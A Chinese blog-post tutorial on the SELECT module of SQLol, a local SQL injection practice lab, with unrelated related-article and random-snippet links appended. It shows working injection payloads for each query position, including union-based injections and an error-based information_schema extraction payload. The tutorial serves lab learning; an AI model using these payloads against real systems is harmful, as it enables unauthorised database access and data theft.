前面,我们已经安装好了SQLol,打开http://localhost/sql/,首先跳转到http://localhost/sql/select.php,我们先从select模块进行测试。

一条完成Select语句,大致可以这样表示:

SELECT 【username】 FROM 【users】 WHERE username = 【'1'】 GROUP BY 【username】 ORDER BY 【username ASC】 [having 【1=1】 ][limit 【0,1】 ]

接收的参数可能拼接到上述语句中【】的任一个位置。

注射位置不同,构造sql注入语句的方法也有所不同,但大致可以划分为三种。

1、联合查询(union select)

2、报错注入

3、盲注(布尔类型、时间延迟类型)

有的注入点可以同时使用多种方法注入,这里只演示一种。

下面演示注入到不同位置的方法。

一、WHERE 子句里的字符串

Tips:字符型注入;

在注射字符串中输入:admin,显示语句,选择注射位置为,WHERE子句里的字符串,返回的信息为:

SELECT username FROM users WHERE username = 'admin' GROUP BY username ORDER BY username ASC 

可以知道我们输入的admin,被拼接到where子句里面,然后我们开始构造POC:

admin' union select user()#

如下图,我们取得数据库用户名(root@localhost),可以将user()替换为其他查询语句查询其他数据。

二、WHERE 子句里的数字

Tips:与上面的WHERE 子句里的字符串类似,所不同的,这是数字型注入;

在注射字符串中输入:1,显示语句,选择注射位置为,WHERE子句里的数据,返回的信息为:

SELECT username FROM users WHERE isadmin = 1  GROUP BY username ORDER BY username ASC

构造POC:

SELECT username FROM users WHERE isadmin = 1 union select user()# GROUP BY username ORDER BY username ASC 

如下图,我们取得数据库用户名。

三、整个语句

Tips: 直接可以执行任何sql语句

在注射字符串中输入:select * from users,users为数据库用户表,显示语句,选择注射位置为,整条语句,返回的信息为:

select * from users

可以在这里输入任何的sql语句执行。

四、Column 名称

Tips: 注入位置在username

 SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC

利用方式:

1、输入字段查询users表,或直接用*代替,查询users表中所有的数据

2、注释掉后面的语句,与select直接拼接,例如:注射字符串位置输入version(),拼接成

SELECT version()# FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC

替换version(),输入其他数据库查询语句,可查询其他数据

五、Table 名称

Tips:注射位置在表users

SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC

利用方式:

1、输入正确的表名,union select查询

 

六、ORDER BY 子句

Tips:注射位置在order by

当使用union操作时,排序语句必须放在最后面才正确,就是说只能在union的最后一个子查询中使用order by,因此这里不能用union slect。

利用方式:

报错注入

1 and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

得到数据库sqlol,可以使用其他语句继续报错注入。 

参考资料:http://www.myhack58.com/Article/html/3/7/2013/38704.htm

七、GROUP BY 子句

Tips:注射位置在group by

GROUP BY 语句用于结合合计函数,根据一个或多个列对结果集进行分组。

利用方式:

1、与order by 一样,直接报错注入

2、在MSSQL中,可以利用group by  , having 进行爆当前列

八、HAVING 子句

Tips:having位置

利用方式:

报错注入

最后

欢迎关注个人微信公众号:Bypass--,每周一篇原创高质量的干货。 

SQL注入测试平台 SQLol -2.SELECT注入测试的更多相关文章

  1. SQL注入测试平台 SQLol -3.INSERT注入测试

    访问首页的insert模块,http://127.0.0.1/sql/insert.php,开始对insert模块进行测试. insert语句: INSERT INTO [users] ([usern ...

  2. SQL注入测试平台 SQLol -5.DELETE注入测试

    访问首页的delete模块,http://127.0.0.1/sql/delete.php,开始对delete模块进行测试. delete语法: DELETE FROM [users] WHERE [ ...

  3. SQL注入测试平台 SQLol -4.UPDATE注入测试

    访问首页的update模块http://127.0.0.1/sql/update.php,开始对update模块进行测试. update语法: UPDATE [users] SET [username ...

  4. SQL注入测试平台 SQLol -1. 简介与安装

    最近下载了SQLol测试了一下,感觉挺好玩的,做一下记录. SQLol是一个可配置得SQL注入测试平台,它包含了一系列的挑战任务,让你在挑战中测试和学习SQL注入语句,SQLol还是比较有创意的项目. ...

  5. SQL注入测试平台 SQLol -6.CHALLENGES挑战

    SQLol上面的挑战共有14关,接下来我们一关一关来突破. Challenge 0 目的是让查询返回所有的用户名,而不是只有一个. SELECT username FROM users WHERE u ...

  6. 《SystemVerilog验证-测试平台编写指南》学习 - 第1章 验证导论

    <SystemVerilog验证-测试平台编写指南>学习 - 第1章 验证导论 测试平台(testbench)的功能 方法学基础 1. 受约束的随机激励 2. 功能覆盖率 3. 分层的测试 ...

  7. 移动APP云测试平台测评分析

    随着智能手机的普及率和渗透率越来越高,App开发软件也越来越多.有专家预测,2017年的App应用下载量将会突破2500亿,整个移动科技市场规模将会达到770亿美元.身处在这个"移动&quo ...

  8. 移动app云测试平台

    一:移动App云测试平台 1.云测试平台背景 随着智能手机的普及率和渗透率越来越高,App开发软件也越来越多.但是因为安卓和IOS的碎片化,尤其是安卓,因为完全开源的原因,导致设备繁多,品牌众多,版本 ...

  9. 渗透测试学习 九、 MSsql注入上

    MSsql注入漏洞详解 (Asp.Aspx站,常见于棋牌网站.考试网站.大学网站.政府网站.游戏网站.OA办公系统) 大纲:msSQL数据库调用分析 msSQL注入原理 msSQL注入另类玩法 msS ...

随机推荐

  1. CSS盒子模型和IE浏览器

    CSS盒模型图解 下面是一幅关于应用了CSS的元素是如何显示它的尺寸的图示. 在本篇文章中,所有的浏览器在计算盒模型总宽度时处理margin属性的方式都是一致的,所以我们将更多的精力放在padding ...

  2. C# MP3文件属性读取

    using (TempFile tempFile = new TempFile()) { using (FileStream fs = new FileStream(tempFile.FileName ...

  3. PHP 中的 9 个魔术方法

    这个标题有点牵强因为php有不只9种魔术方法, 但是这些将会引导你使用php魔术方法一个好的开始.它可能魔幻,但是并不需要魔杖. 这些'魔术'方法拥有者特殊的名字,以两个下划线开始,表示这些方法在ph ...

  4. linux学习笔记4:linux的任务调度,进程管理,mysql的安装和使用,ssh工具的使用,linux网络编程

    1.设置任务调度命令crontab 任务调度是指系统在某个时间执行的特定的命令或程序.任务调度分为:1)系统工作:有些重要的工作必须周而复始的执行,如病毒扫描.2)个别用户工作:个别用户可能希望执行某 ...

  5. 在C,C++,JAVA中int,char,各占几个字节

    int 在C和C++的占用2个字节,在java中4个字节char在C和C+中占一个字节 Java中无论是汉字还是英文字母都是用Unicode编码来表示的,一个Unicode码是16位,每字节是8位,所 ...

  6. php大力力 [007节]php静态表量

    2015-08-23 php大力力007. php静态表量 这里看一下高老师的视频讲解: 转帖: php中static静态类与static 静态变量用法区别 php中的静态变量的基本用法 转载 时间: ...

  7. Design Patterns---- Strategy 模式

    设计模式:可复用面向对象软件的基础 书中对 Strategy 模式的定义如下: 定义了一系列的算法,把它们一个个封装起来,并且使它们可相互替换.本模式使得算法可独立于它的用户而变化. 案例:设计一个商 ...

  8. 【LeetCode】Best Time to Buy and Sell Stock IV

    Best Time to Buy and Sell Stock IV Say you have an array for which the ith element is the price of a ...

  9. JavaScript经典语录

    Js的解析与执行过程: 全局中的解析和执行过程:一:预处理:创建一个此法环境LE, 扫描JS:1.用声明的方式声明的函数(不是函数表达式),2.用var定义的变量.加到预处理阶段的此法环境中 全局环境 ...

  10. DB Create and Insert

    <?php $servername = "localhost"; $username = "username"; $password = "pa ...